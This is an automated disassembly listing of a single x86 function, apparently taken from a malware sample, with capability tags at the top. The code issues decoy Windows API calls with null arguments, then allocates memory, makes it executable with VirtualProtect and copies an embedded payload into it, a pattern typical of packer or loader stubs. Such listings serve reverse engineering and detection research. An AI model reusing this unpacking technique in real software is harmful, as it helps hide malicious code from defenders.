Function at 0x402ed9
Capabilities:
Allocate or change rwx memory
Extract resource via kernel32 functions
Get common file path
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x10e4
call fcn.00409370
push ebx
push esi
xor esi, esi
cmp dword [0x2aa6018], 0x5b1
push edi
jne 0x402f90
push esi
push esi
lea eax, [esp + 0x4f8]
push eax
push esi
push esi
call sub.USER32.dll_DdeQueryStringA
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
xor eax, eax
mov word [esp + 0x14], ax
lea edi, [esp + 0x16]
stosw word es:[edi], ax
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0xf8]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0x4029f0
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [esp + 0x14]
lea eax, [esp + 0x8f8]
push eax
push esi
call dword [sym.imp.SHELL32.dll_ShellAboutW]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.ole32.dll_StringFromCLSID]
push esi
push esi
call fcn.004032a9
push esi
call fcn.0040327a
push esi
call fcn.004032b4
add esp, 0x10
add dword [0x2aa6018], 0x1134b
push dword [0x2aa6018]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [esp + 0x2c]
push ecx
push 0x40
push dword [0x2aa6018]
mov dword [0x2aa4f6c], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
cmp dword [0x2aa6018], esi
jbe 0x402ffb
cmp dword [0x2aa6018], 0xa8
mov eax, dword [0x2aa601c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x2aa4f6c]
mov byte [ecx + edi], al
jne 0x402ff2
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
inc edi
cmp edi, dword [0x2aa6018]
jb 0x402fca
xor ebx, ebx
mov eax, dword [0x2aa6018]
add eax, ebx
cmp eax, 0xe
jne 0x403062
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_SetKernelObjectSecurity]
push esi
lea eax, [esp + 0xf4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
lea eax, [esp + 0x8f8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor eax, eax
mov word [esp + 0x1c], ax
lea edi, [esp + 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x4f4]
push eax
push esi
lea eax, [esp + 0x28]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
inc ebx
cmp ebx, 0x39621
jl 0x402ffd
call fcn.00402dc4
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x26
jne 0x403083
call fcn.00402ebf
inc edi
cmp edi, 0x6753f
jl 0x403072
push 0x7b
pop ebx
cmp dword [0x2aa6018], 0x86
jne 0x4030fa
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x8f4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor eax, eax
mov word [esp + 0x30], ax
lea edi, [esp + 0x32]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [esp + 0x1c], ax
lea edi, [esp + 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push esi
lea eax, [esp + 0xf4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp dword [0x2aa6018], 0xf
jne 0x40310f
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
dec ebx
jne 0x40308f
call fcn.00402b80
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret